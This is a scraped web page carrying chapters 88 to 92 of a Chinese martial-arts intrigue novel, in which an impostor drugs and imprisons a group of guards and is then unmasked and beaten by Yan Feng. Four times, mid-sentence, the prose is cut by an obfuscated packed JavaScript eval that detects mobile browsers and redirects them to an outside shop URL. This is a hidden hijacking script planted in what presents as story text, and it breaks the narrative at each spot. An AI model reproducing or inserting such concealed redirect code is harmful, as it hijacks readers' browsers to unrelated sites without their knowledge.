行至半途，严炳安忽然想起来什么，用胳膊肘捅了捅身旁的白砚生。 “哎，我记得你家就在这附近吧？不回去瞅一眼？你妹子不是一个人在家么，哥几个陪你一道去看看？” 白砚生斜他一眼：“少来。你肚子里那点弯绕，当我不知道？离我妹妹远点儿。” 严炳安被戳破心思，脸腾地红了：“呸！好心当成驴肝肺！” “阿鱼和迟叔一早便说要去白家看望淑瑶，想来不会有事。” 走在旁边的陈青听了个大概，伸手拍了拍严炳安的肩。 这话不说还好，一说严炳安更觉窘迫：“要你多嘴充和事佬！” 他见陈青面色也淡了下去，心头那股无名火窜得更旺，竟口不择言起来：“你心里不痛快吧？这回燕大人可是撇下你，跟那位宗将军走了。” 连杨胜都听不下去了，皱眉喝道：“老严！胡吣什么！” “我胡吣？” 严炳安索性破罐子破摔，扯着嘴角恶劣地笑道：“平日那些闲话你们少听了？要我选，我也选宗将军。人家那模样气度，跟画儿里走下来的神仙似的，站谁旁边不把谁衬成泥腿子？啧，要说还是儿子随娘，福瑛长公主当年……” “砰！” 他话未说完，脸上便结结实实挨了一记重拳。 严炳安被打得踉跄半步，捂着脸，满眼不敢置信地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485594|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望向出手的白砚生。对方此刻的神情是他从未见过的，简直像是一头被激怒的野兽。 那点因议论上官而生出的心虚，连同颊上火辣辣的痛感，让欺软怕硬的严炳安的嚣张气焰霎时萎了。他讪讪地放下手，嘟囔道：“我、我就是嘴上没个把门的，开个玩笑……燕大人自己都不在意这些。上回、上回他还私下托我下过注呢，赌了一贯钱，就赌他到底喜欢男的还是女的！” 杨胜见状，一手揽住白砚生的肩，一手拍了拍严炳安的背，打着圆场：“得了得了，都是自家兄弟，眼下又是多事的时候，可不兴自己人先闹起来。” 他转向严炳安，“老严，这回确实是你过了。总得有点表示吧？” 严炳安瓮声瓮气道：“那……今晚我请客，去菜场割两斤……不，三斤肉！真不能再多了，这月俸禄还没影呢。” 杨胜乐呵呵地，手上力道松了些：“这才对嘛！” 他转头看向陈青，“老陈，你昨晚烙那饼子，是真香！今晚还能露一手不？老严说买肉，我可就馋你那手艺了！” 陈青面上那点薄愠早已散去，恢复了一贯的温和。 “好，晚上我多做些肉饼。” 白砚生也低头“嗯”了一声。 几人于是绕了路去了菜场买肉，待到燕宅门前，天色已经有些暗了。 陈青上前拍了拍门环。来应门的是迟三。他打着哈欠拉开门，见是他们几个，摆了摆手就转身往自己屋里走：“我再回去眯会儿。” 陈青跨进门，目光在院中扫了一圈，问道：“迟叔，阿鱼呢？没一块儿回来？” 迟三脚步没停，只背对着他们随意摆了摆手：“哦，她啊，还在白家跟那丫头黏糊呢。俩小姑娘凑一块，话哪说得完？兴许晚上就宿在那儿了。” 几人听了，也没多想，便各自散开。 陈青转身进了厨房忙活。不多时，混合着葱香与肉鲜的饼香便从灶间飘散出来，惹得院子里等待的几人频频探头。 “老陈，好了没啊？”严炳安吸着鼻子喊道。 “来了来了！”陈青笑着，端着一大盘刚出锅、金黄酥脆还滋滋冒着油花的肉饼从厨房走出。 恰在此时，院门又被“啪啪”拍响了。 “哟，这是赶着饭点儿回来了，正好！” 离门最近的迟三起身开了门，门外只站着罗同一人。 “怎么就你一个？”迟三朝罗同身后看了看，“那俩呢？” 罗同侧身进来，随手带上门：“长公主府上似乎有事，留他们用饭了。” “嗬，”迟三从鼻子里哼出一声，语带讥诮，“怎么不多留你一个？不过添双筷子的事。” 罗同眉头一皱，看了迟三一眼，没接话。 “罗叔，回来得正好！”陈青在那头热情招呼，“快来尝尝，刚出锅的肉饼！” 罗同应了一声，抬脚朝石桌走去。 桌上很快便是风卷残云之势。 肉饼热气腾腾，几人吃得头也不抬。唯独迟三，慢条斯理地小口咬着，姿态与周遭的饿虎扑食格格不入。 罗同瞥了迟三一眼：“怎么，年纪上来了？胃口这么小。” 迟三斜他一眼：“管好你自己。” 话音落下，庭院里骤起一丝微风，带着若有似无的甜腻气息， 这便是众人跌入黑暗前，最后的知觉。 89. 转机 时间倒退回几个时辰前，那令人窒息的石室之中。 当江鱼借着孔洞微光，看清石床上那人的脸时，惊骇瞬间淹没了她。 陈青！他怎么也在这儿！ 他双目紧闭，嘴唇干裂起皮，胸膛似乎还微弱地起伏着。江鱼颤抖着伸手手探向他的鼻息—温热，却细若游丝。 “陈大哥？陈青！” 陈青的睫毛颤动了几下，极其艰难地睁开了一条缝。眼神涣散，努力聚焦了好一会儿，才认出身前的江鱼。他嘴唇翕动，却只发出嗬嗬的气音，全身软绵绵的，连抬手都做不到。 江鱼慌忙翻出水囊和准备给淑瑶的糖糕。她小心地扶起陈青的头，一点点给他喂水，又把糖糕掰成极小的小块，蘸水润湿了喂进他嘴里。 糖分和水似乎唤回了他些许力气。过了约莫一刻钟，陈青的眼神清明了不少，虽然依旧虚弱，但已能极其缓慢地摇头、点头，并用口型勉强传递信息。 “迷药……一天一夜……没力” 破碎的信息组合起来，江鱼感到头皮发麻：陈青说他是被迷倒后囚禁于此的，至少一天一夜水米未进。可如果陈青自前夜便困于此，那昨夜在燕宅里，又下厨又烙饼的陈青又是谁？ 她立刻想到要带他离开，回家找燕风，她一定知道该怎么办。但当她比划着要往家的方向继续爬的时候，陈青突然激动起来，拼命摇头，眼中充满急切的恐惧。 江鱼懂了——通往自家院落的出口，很可能有埋伏和看守。 没有时间犹豫，她将所剩不多的食物和水塞给陈青，咬咬牙，弯下腰：“陈大哥，我背你。我们走另一边。” 陈青想拒绝，但他此刻的状态连独自站立都成问题。江鱼不由分说，用尽全身力气将他扶到自己背上。 通道向前延伸，仿佛没有尽头。 黑暗吞没了一切，只有背上的重负与脚下坑洼的触感是真实的。江鱼觉得自己像在巨兽湿冷的肠道里，进行着一场不一定有终点的苦行。手臂与腿脚从酸麻转为刺痛，汗水流进了眼睛。 她不知道自己走了多久，直到前方，一丝微弱的凉风，混着木头的气味，突然拂过她汗湿的脸颊。 她精神一振，果然看见通道已到了尽头，一块木板封住了头顶，但边缘处尚有缝隙，那救命的风正是从此间透入。 江鱼小心翼翼地将陈青放下，让他靠坐在壁边，自己则抵住那块木板，试探着向上推去。 “咔……” 木板比想象中轻巧，应力而开。湿冷的夜风灌入肺中，带着尘土的气味。 江鱼半拖半背着陈青，踉跄着从那个隐蔽的地洞爬出，瘫倒在冰冷的地面上。眼前是一间屋舍，月光从半开的窗棂和门缝里挤进来，照亮空气中浮动的尘埃，蛛网在梁角摇晃，四下里一片死寂。 暂时，安全了。 江鱼靠在墙壁上，只喘匀了几口气，便又挣扎着爬起。她示意陈青别动，自己则猫着腰，悄无声息地挪到门边，向外窥探。 月光流过简朴的院落，给石桌投下瘦长的影。她初看只觉寂静，可忽然一段记忆猛地撞进脑海—— 是了，这里是那个地方！ 她退回陈青身边，“陈哥，这地方我认得。离家不远，我觉得咱们还是得回去。” 只有回家见到燕风，才能揭穿那个假陈青。 陈青费力地点头，眼中是相同的决然，随即又摇头，手虚指了指门的方向。 “不走正门，”江鱼立刻领会。 “我想过了。院里那棵老槐树紧挨西墙，边上就是柴房。我们从那儿翻进去。” * 燕宅柴房。 假陈青与白砚生合力，将昏迷不醒的杨胜、严炳安与罗同逐一拖入房内，用麻绳牢牢捆缚。迟三则抱着手臂靠在门边，冷眼旁观。 柴禾稻草堆叠的阴影里，白砚生低声问：“接下来要怎么办？要……杀了他们吗？” 假陈青面上早已褪去了伪装的温和，取而代之的冷硬。他没有回答，仿佛没听见。 “问你呢！”迟三从鼻子里哼出一声，语气不善，“接下来怎么办？总得有个章程。” 假陈青终于有了反应。他不是初出茅庐的愣头青，昨夜迟三与罗同一进这院子，他便察觉出这两人武功深不可测。对迟三的话，他不能不答。 “不必造杀孽。”他开口，“这宅子底下，有个废弃的地洞，中了这药，跑不了。将他们挪进去，没有食物清水，过几日也就安静了。” 他顿了顿，补充道，“这里最好也别见血。燕风鼻子很灵，麻烦。” “呵，”迟三冷笑，“饿死就不是杀孽了？说得倒好听。三皇子那桩案子，也是你做的吧？杀了也就罢了，还把尸体砍成那样。癖好？” 假陈青脸上肌肉似乎抽动了一下：“那是不得已。” “是你做的？”白砚生猛地转过头盯住假陈青。 他脸上血色褪去几分：“那段时间……你不是一直和我们在一起赶路吗？” 假陈青侧迎上他的视线，眼神里只有漠然。 “傻子。”迟三又哼了一声。 白砚生背上沁出冷汗。今天白日里‘陈青’来找他的时候，他原以为对方只是个和自己一样的细作，或者是新被策反的叛徒，却不想，朝夕相处的同僚早已被调了包，这两日与他们同吃同住的，竟是制造那皇子府血案的可怕凶徒。记忆中三皇子那具支离破碎的尸首闪过，他只觉得胃里一阵翻搅。 可世上怎么会有如此相像的两个人，莫非这就是传说中的易容术么？ 又听迟三问道：“药是怎么下的？肉饼？那为何我们三个没事？你还有这等本事，能算准谁吃哪一块？还是另有窍门？” 假陈青道：“所有肉饼都一样。下的本就不是毒，故而无人尝得出来。这药需得与另一种气味相合，方能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485595|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起效。我与他，” 他微微侧头示意白砚生，“提前服了解药。至于你——” 他笃定道：“今日白天，你大概闻过一种特别的香气吧。” 迟三脑中闪过几个片段——是了，他确实闻到过。 他心下暗惊，面上却嗤了一声：“你们是吃了解药，我却只是闻过那劳什子香味。这解法……能作数？” 他向前逼近半步：“不成，你也得给我一枚解药。谁知道那气味能顶多久？” 假陈青似乎早有所料，并未争辩，只沉默地从怀中取出一枚乌黑的药丸，递了过去。 迟三接过，指腹捻了捻，下一瞬，他突然将药丸地掰成两半，一半迅速塞进假陈青微张的口中，同时一手钳住对方下颌向上一托，另一手顺势在其喉结处向下一按。 假陈青猝不及防，闷哼一声，药丸已滑入腹中。 “你……这是作甚？”假陈青咳嗽两声。 “防人之心不可无。”迟三语气平淡，“谁知道你会不会拿别的东西糊弄我。” 假陈青闭了闭眼，压下喉间不适，再睁开时已恢复平静：“随你。” 他转而对白砚生道：“我现在需出去办件事。你看好他们。待我回来，便将他们处置到地洞。之后，你也须离开，当作一同失踪。” 他顿了顿：“记着，今日局面本不必至此。是你的身份露了痕迹，逼得我们不得不提前动手，以作震慑。” “所以，这份杀孽，在你头上。” 脚步声远去，柴房门被轻轻掩上。迟三跟着假陈青离开了，只留下白砚生一人僵立在原地。假陈青最后那句话像钉子，被人拿锤子凿进他耳中。 不知过了多久，寂静中，忽然传来一声压抑的咳嗽。白砚生猛地转头，只见地上被缚的罗同眉头紧蹙，眼皮颤动，竟似要转醒。 是了……那混在空气中的药烟，是他亲手放的。当时心慌手抖，怕误了时辰，点得早了些。罗同似乎本就吃得不多，故而药力在他身上最浅。 白砚生觉得自己心跳得发狂。 怎么办？这是他的疏漏。 事已至此，哪还有回头路？一旦罗同完全清醒，一切就都完了。反正，反正扔进地洞也是饿死，饿死同样是折磨。 反正那杀孽，本就记在了自己头上…… 一个冰冷而可怕的念头攫住了他。他缓缓蹲下身，双手不受控制地抬起，颤抖着，慢慢向那毫无防备的脖颈靠近。就在指尖即将触到皮肤的一刹那—— “咚！” 柴房窗外猝然传来一声闷响，像是什么重物落到了地上。 白砚生像被烫到般倏地缩回手，他低喝：“谁？” 下一瞬，一颗沾着草屑的脑袋从破旧的窗台上小心翼翼地探了进来。一双圆溜溜的眼睛在昏暗里焦急地搜寻，最后定格在了他身上。 “白大哥！你没事吧？” 是江鱼！ 90. 局破 白砚生手足无措地僵在原地，竟不知该作何反应。 江鱼见他无恙，似乎松了口气。她眼睛快速扫过柴房内横七竖八被绑着的几人，小声道：“还好还好，那个假陈青不在……” 假陈青？ 白砚生下意识地脱口而出：“你知道陈青是假的？” “当然知道！”江鱼边说边吃力地从窗户翻了进来。她拍了拍身上的灰：“因为我找到真的陈大哥了，是他告诉我的。” 陈青……还活着！ 白砚生心头剧震。而且听江鱼这话，陈青此刻应当就在附近。这突如其来的变故让他脑中一片混乱，几乎无法思考下一步该如何应对。 就在这时，江鱼突然想起什么，脸上瞬间变得苍白。 “白大哥！怎么办！我今日从早上起就没见到淑瑶……白家的门是开着的，我一进去，就和迟叔一起掉进了一个好大的陷阱！迟叔后来自己上去了，可再也没回来救我……他、他肯定是被抓走淑瑶的人一起制住了！” 她越说越急，一把抓住白砚生的衣袖：“我们得赶紧去找表哥！只有表哥能救他们！我们得一起去！” 白砚生彻底呆住了。他死死盯住江鱼的脸，试图从她每一丝表情、每一个眼神中找出伪装的痕迹。 然而没有。 那双圆睁的眼里只有全然的信任、纯粹的恐惧，和一根筋似的“找表哥就能解决一切”的信念。她甚至没问白府里为何有陷阱，柴房里为何绑着人，他在此又在做什么。 仿佛在她简单直接的逻辑里，找到了‘自己人’，就要立刻一起去搬救兵。她甚至还在担心白淑瑶！ 难道这姑娘……竟是个傻的？ 他隐约知道自己此刻该如何做——稳住她，或者干脆……但他却觉得自己有些下不去手。 恰在此时，地上的罗同终于挣扎着睁开了眼睛，他显然听到了部分对话，从喉咙里挤出嘶哑的一句： “燕风和宗恂在长公主府……快去！” 话音未落，异变陡生！ 方才还一脸惶急的江鱼，眼神骤然一变。她甚至没看罗同一眼，整个人如同释放的弹簧猛地向后一挣，单手撑起窗台，动作轻盈利落得与方才爬窗时的笨拙判若两人。眨眼间便已翻出窗外，没入夜色之中。 她是装的！ 白砚生脑中嗡的一声，气急交加，想也不想便要纵身去追。 “等等！” 罗同嘶哑的声音再次响起。 “你就不想知道……”罗同喘息着。 “自己究竟是谁吗？” * 江鱼跃出柴房窗台后，并未沿原路折返西墙。因她心知这一路必是险象环生，白砚生定会追来，而虚弱的陈青此刻正被她安置在西墙外。 她绝不能将危险引向他。 只这一念之间的选择。 下一息，穿过一道廊门时，她与折返的假陈青及迟三迎面撞上。 假陈青瞧见她的瞬间便明白发生了什么。他甚至没有开口，右掌已挟着劲风朝江鱼当胸拍去。 “砰！” 江鱼如同断线风筝般倒飞出去，重重摔在地上，一口鲜血喷溅而出，当即便不动了。 迟三跟在后面，非但不阻，反而笑道：“又造杀孽了。” 假陈青看也未看地上气息奄奄的少女，抬脚便继续前行。 “不过是只蝼蚁。” 迟三原本也要跟上，脚步却顿住了。 一丝说不清是好奇还是别的什么情绪，让他停了下来。 他折返身，蹲在江鱼面前，打量她因痛苦而扭曲、却奇异般仍未完全涣散的眼眸。 “丫头，” 他开口：“你是怎么从那儿跑出来的？” 江鱼喉中嗬嗬作响，血沫不断从嘴角溢出，每一次呼吸都带着灼烧般的剧痛。 然而在这濒死的一刻，她的神思却异常清明，仿佛此生从未有过这般冷静。她染血的手指极其艰难、颤抖着抬起，指向她来时的方向，每一个字都混合着血沫挤出： “地洞……连着……我爬出来……” 她重重喘息，却死死盯着迟三，吐出最后几个清晰的音节： “曹公公……的宅子。” 曹公公，曹宜春。 他还有个名字。 叫朱厌。 * 假陈青折返柴房的路，似乎比去时更长些。 但他并未察觉这微末的变化，甚至连身后迟三何时止步都毫无所觉，只因此刻他的全副心神都被一股躁怒攫住——地洞里空了。 前日亲手丢进去的人，竟不见了踪影。 他本无意取那人性命，只想借饥渴磨其心志。万不料，竟让其寻隙脱逃。 此事揭露了一个更为棘手的问题：那地洞不知何时，已被人从外悄无声息地掘出了通路。 可恶！早知如此，当日便该仔细查验。如今这处绝佳的囚笼既已暴露，柴房里剩下的那几个，便不能再依样处置，丢进去听天由命了。 如此看来，似乎只剩下最后一条路可走。杀。 不过是几只无足轻重的蝼蚁，想来主上也不会追究。 可这念头方起，白砚生那张脸便浮现于脑海。麻烦……此人确是个麻烦。无缘无故，杀不得他；可若独独放他生路，又太过惹眼。 效仿上回三皇子府中那次？不可！那时死的人多，尚可浑水摸鱼。如今区区三四个人，无论作何手脚，少了一具尸首，都决计无法遮掩过去。 他尚未思忖出万全之策，柴房却已到了。 推门而入，里头景象与他离开时并无二致，甚至白砚生仍是那副失魂落魄的呆滞模样。 假陈青心中掠过一丝轻蔑，废物。 “噌——” 他蓦地从腰间抽出佩刀。金属摩擦的清冷锐响，猛地割破了柴房内死水般的沉寂。 白砚生浑身一颤，涣散的目光终于被惊惧拉回些许。他抬起头，瑟缩地望向执刀而立、面无表情的假陈青。 假陈青手腕一转，竟将刀柄调转，直直递给白砚生。 “我改主意了，”他声音平直，听不出半点波澜，“藏来藏去，太麻烦。”刀锋闪着幽光，映出白砚生惨白的脸。 “一人一刀，了结算了。” 假陈青盯着他：“你来。” 白砚生的手颤了颤，终究还是接过了那柄沉甸甸的刀。冰冷的触感自掌心蔓延，他却没动，只是握着，垂眼看着地上昏迷的几人。 柴房里又恢复了死寂，只有假陈青逐渐失去耐心的呼吸声。就在那无形的压力即将崩塌的刹那，白砚生终于下定了某种决心。 “我……我突然觉得浑身没力气， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485596|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手臂发软。” 他晃了晃持刀的手，刀尖无力地垂向地面：“方才那解毒丸药，能否……再给我一颗？” 假陈青的眼神骤然发狠，电光石火间，他猛地探手，五指如铁钳般抓向白砚生手中的刀柄。 白砚生并非毫无防备。 在假陈青身形微动的同一瞬，他已竭尽全力向后仰身、偏头。寒芒贴着他的颈侧皮肤掠过，削断了几缕发丝。 然而，两人实力差距判若云泥，他这凝聚了十二万分警惕的躲避，也只堪堪为自己争取了半息不到的间隙。 好在，够了。 而就在白砚生偏头让出的那一线空档里——一道清瘦却异常迅捷的身影，如同蛰伏已久的毒蛇骤然弹起！ 一只手，疾电般自白砚生身后刺出。这一击没有丝毫多余动作。精准，凌厉。趁假陈青夺刀挥砍,防守最是松懈的破绽，狠狠啄在他的胸腹要穴！ “嘭！” 假陈青猝不及防，只觉一股尖锐的劲力透体而入，打得他气血翻涌。他踉跄后退半步，手中刀势亦随之一乱。 他猛地抬头，惊怒地望向那男子，失声喝道：“你怎么醒了！” 罗同自然不会答他。 他上前一步，清瘦的身形却像一道不可逾越的屏障，稳稳将白砚生挡在身后。 白砚生反应也快。他毫不迟疑，趁着这瞬息之机，转身便扑向柴房那扇破旧的窗户，手脚并用地翻了出去。 “想走？”假陈青上前欲追。 罗同却已封住所有去路。他掌风如刀，招式简练狠辣，逼得假陈青不得不回身应对，再难前进半步。 假陈青追之不及，怒极反笑，笑声在狭小的柴房里显得格外阴冷：“你让他去搬救兵？呵，此等见风使舵、临阵倒戈的小人，你竟也信得过？” 他死死盯住罗同的脸，突然，嘴角咧开一抹恍然又恶毒的阴笑，“我明白了……你之前确然中了我的药。就算你不知用了什么法子弄到解药，也绝无可能恢复得如此之快！” 他向前迫近一步，眼中闪烁着胜券在握的残忍光芒：“方才那几下，不过是强提一口气，硬撑的吧？此刻内力反噬的滋味，可还好受？” 罗同抿紧嘴唇，呼吸的确比方才沉了一分。 假陈青见状，笑意更浓，仿佛已捏住对方命门。 “今夜就算那姓白的靠谱，真能找来救兵，这点时间，也足够我把这屋里碍事的都清理干净，再从容离去。你拦得住我一时，又能耗我几时？” 话音未落，他不再废话，刀光骤起，如暴雪寒潮般袭向罗同。 罗同赤手相迎，招式虽精妙，但劲力确已不济，每每硬接刀锋，身形便不由得微晃，脸色也更白一分。 假陈青说得没错，他确是在逞强。不过几个回合，罗同已是险象环生。一次格挡稍慢，锋刃划破肩头，带出一溜血珠。他闷哼一声，脚下虚浮，终于露出了难以掩饰的破绽。 “到此为止了！” 假陈青眸中凶光爆开，手中长刀凝聚全力，化作一道致命的寒芒，直刺罗同心口。这一击，快、狠、绝，再无悬念。 罗同闭上了眼。他气力已竭，这次避无可避。然而就在刀尖即将贯体而入的千钧一发之际—— “哥——！！” 一声嘶哑至极、却饱含愤怒的吼叫，撕裂了夜色。 91. 构陷 一道人影竟从窗外不顾一切地撞了进来。 那人极为虚弱，他动作变形，却带着一股豁出一切的决绝，合身猛撞在假陈青的侧肋！ “砰！” 假陈青全副心神皆在罗同，对这突如其来的袭击毫无防备，竟被结结实实撞得横跌出去，后背重重砸在土墙上。那必杀的一刀，自然也歪斜着擦过罗同身侧，落了空。 撞进来的人也因反震之力滚倒在地，发出一声压抑的痛哼。月光下，只见他衣衫破损，嘴角溢出血丝，正是被江鱼安置在西墙外的、真正的陈青！ 他显然已力竭，身体微微颤抖，却仍挣扎着抬起头，死死瞪向倚墙缓气的假陈青，用尽残余的力气喊道。 “宗成琦！你看看你自己。你这是在做什么！” 假陈青，或者说，宗成琦，捂着被撞痛的肋部，缓缓站直。出乎意料地，他脸上那股阴鸷的戾气反而沉了下去，取而代之的是一种怪异的平静。 “宗成琦……真是好久，没听人这么叫我了。” 他看向地上狼狈不堪的亲弟弟，似在仔细辨认，“原来你还记得。成青，我还以为你早就忘了。” “忘了？”宗成青咳嗽着又呛出一口血沫，眼神却像烧红的刀子。 “我从未有一刻敢忘！我看是你忘了！忘了血海深仇，忘了宗家满门是怎么没的！” 宗成琦冷笑：“怎么没的？当然是拜我们那位好叔父所赐！若不是他临阵脱逃、背信弃义，父亲怎会急怒攻心、含恨而终？周家那群虎狼，又岂能趁虚而入，夺我家业，屠我满门？” “我在周家潜伏整整三年，像条狗一样活着，才等到机会亲手了结这笔血债。你呢？我天真善良的好弟弟，你又在做什么？” 他向前踏了半步，阴影笼罩住虚弱的宗成青： “我真是不明白。那个害得我们家破人亡的好叔叔，究竟给你们灌了什么迷魂汤？父亲一辈子为他思虑，到最后连命都搭了进去。如今你呢？你也围着他儿子打转。” 他声音陡然尖锐：“他认得你吗？这位高高在上的贵人，他可曾正眼瞧过你，知道跪在他眼前摇尾乞怜的，是他血脉相连的亲人？” “不是这样的……” 宗成青已带了哭腔，“父亲临终的时候说过，叔父不会做出这样的事，他一定是被人陷害的，是父亲要我去寻找真相，为叔父平反。” “他说得没错。” 一道冰冷的声音响起。传来的方向，一高挑的身影不知何时已立在柴房门外。 夜色勾勒出她朦胧的轮廓。是燕风。 “宗谦将军，”她一字一顿，好似带着千钧重量，“是被贼人构陷的。” “你！” 宗成琦惊疑不定，随即又讥道，“你又算什么东西？哪来的资格说这样的话。” 她只是看了他一眼。毫无征兆地，柴房外狂风大作，飞沙走石，破窗烂门被吹得哐啷乱响。 就在这突如其来的混乱中，燕风动了。她的身影快得只剩一道残影，欺身而上的瞬间，强劲的指风已凌厉地锁向宗成琦的咽喉！ 宗成琦虽惊不乱，举刀格挡。 然而刀刃却仿佛撞上了一堵无形的气墙，被一股巨力震开。电光石火间，燕风另一只拳头，已携着汹涌的怒意结结实实砸在了他的颧骨上！ “砰——！” 令人牙酸的闷响。 宗成琦被这一拳打得头猛地偏向一侧，嘴角渗出血丝。 “我比你们任何人，” 燕风的声音几乎是从齿缝里挤出来的：“都有资格说这话！” 宗成琦踉跄一步稳住身形，抬手抹去嘴角的血，竟低低地冷笑起来。 “资格？什么资格？” 他的目光像毒蛇的信子舔过燕风的脸庞，又吐出淬毒的字句，“宗恂的……奸夫的资格？” “怎么？你那位情深义重的宗将军没同你一块儿？让你一个人在这儿替他冲锋陷阵……” “闭嘴！” 话未说完，更重、更狠、更暴烈的一拳，再次狠狠击中他的腹部！ “呃啊！”宗成琦闷哼一声，剧痛让他蜷缩下去。 燕风眼眶骤然红了，那里面奔涌的岂止是愤怒，更有巨大的悲怆。 “疼吗？你也会觉得疼吗？” 她拳势如暴雨，毫不留情：“阿鱼今年才十七岁，她只是想活下去，她有什么错！” “宗恂在救她。”她齿间迸出铁锈般的血气，“若阿鱼没了——” 宗成琦已无法站稳，单膝跪地。 “你得给她陪葬。” “陪葬？就她？” 宗成琦猛然抬头，满脸血污中挤出咯咯怪笑，形同恶鬼。 “我杀过皇子！屠过大靖最煊赫的外戚！你让我给一个黄毛丫头陪葬？笑话！天大的笑话！” “宗成琦。”燕风目光冰冷。 “你视人命如草芥，自觉凌驾众生。可你有没有想过，在真正的上位者眼里，你又算得什么？” “若你父亲所言是真，你叔父确是遭人构陷。那么，有能力将一位战功赫赫的卫国将军推入万劫不复之地，能让你宗家一夜之间家破人亡的贼人，会是谁？” “何人有这般颠倒黑白、只手遮天的权势？” 她俯视着他：“而你今日长刀染血，罪孽滔天，又是在为谁效力，为谁杀人？” 夜风穿堂，带着渗骨的秋寒。 宗成琦脸上的笑，一点点僵死、剥落。 * 江鱼觉得自己做了一个很长的梦。 梦里，时光倒流，她又变回了那个青桥县的小丫头。记忆的碎片一幕幕在眼前流转：她时而依偎在母亲的怀中，时而在田埂上跟在大人屁股后面劳作，时而站在山头上看不远处瓯水哗啦啦地东流。 画面最终定格在那座小小的、摇摇欲坠的神女庙。 庙里塑像的脸被岁月熏得模糊，可她看到自己无比虔诚地跪在蒲团上，求了一支朱砂写就的平安签。 然后，一个遥远的声音，仿佛穿透了厚重的云层，一遍遍呼唤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485597|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 那声音起初隐约，继而清晰，带着一种不容拒绝的力量。她猛地一挣，如同溺水之人终于破出水面，骤然睁开了眼睛！ 视线先是迷蒙，继而撞进一双布满了血丝，又近在咫尺的眼睛里。 那双眼睛骤然爆发出灼亮的神采！ “醒了！她醒了！” 宗成青几乎是吼了出来，“宗将军！快！阿鱼醒了！” 宗恂很快赶来：“感觉如何？” 江鱼张了张嘴，尚未回答，脑海里却先涌起一股极其怪异的感觉。方才梦境中那些飞快闪过的画面在此刻苏醒的瞬间，竟仿佛被赋予了某种难以言喻的启示。 像是……像是她在混沌间，窥见了某种神秘的天机。 这感觉如此强烈，让她心脏怦怦直跳。她睁大了眼睛，急切地想要抓住这转瞬即逝的灵光，说与旁人听。 可就在她试图开口的刹那，那奇特的感觉，连同梦境本身，如同潮水，以更快的速度从她的意识中消散。大脑骤然一片空白，只剩下劫后余生的虚脱与茫然。 她最终只是喃喃道：“我……竟然还活着？” 宗成青闻言，差点又要掉下泪来：“活着！当然活着！真是……真是谢天谢地！” 他小心翼翼地举起一样东西，递到江鱼眼前，“你看，是这个救了你！我们找到你的时候，它就在你胸口，裂成了这样。是它帮你挡住了最致命的那股劲力！” 那是一把小小的木铲，粗糙简陋，此刻却从中间裂开了一道深深的缝隙，几乎要断成两截。 江鱼怔怔地看着。她想起来了，这是在地洞里，她用来掘土寻找出路的那把铲子。 可后来……她把它放到胸口了吗？ 她不记得了。 但比起这个，方才那种骤然涌起又消失的奇异感觉，更让她隐隐不安。 “我刚才……”她皱起眉，“好像做了一个很奇怪的梦。但是我什么都想不起来了。只觉得很奇怪。” 宗恂听了，平和地解释道：“不必慌张，我为你配的药中，有一味药性偏烈，偶尔会引发癔梦。过些时候便好了。” “……哦。”江鱼轻轻应了一声。 或许，真的只是药效所致的癔梦吧。 “对了？燕姐姐呢？” 寅时初刻，梆子声刚打过不久。 燕风眼下泛着青黑，纵马驰过空寂的长街。 她方才在家中审宗承琦，还未及喘息，更来不及去看一眼江鱼，宫中急召的旨意便到了。夜风凛冽，割在身上像冰冷的刀片，却割不断她心头纷乱如麻。 江鱼生死未卜，虽宗恂断言无碍，她心仍悬着。 而皇帝这突如其来的传召，更让她不安：为何偏偏是此刻？难道宫中耳目已窥见今日徐府动静，或是宗承琦之事？ 她强迫自己定神，将白日在徐府与太子等人所议的内容在脑中反复推演。 每一个可能的破绽，以及商议出的应对之策，都在她心中反复打磨。 她必须滴水不漏。 92. 宫门 至宫门下马，燕风随提灯太监行至暖阁。她在门前稍驻，抬眼望向那扇熟悉的雕花门扉，竟有一瞬恍惚。 这一年，已数不清第几次踏进这里。 今夜这门后，等着她的又是什么？ 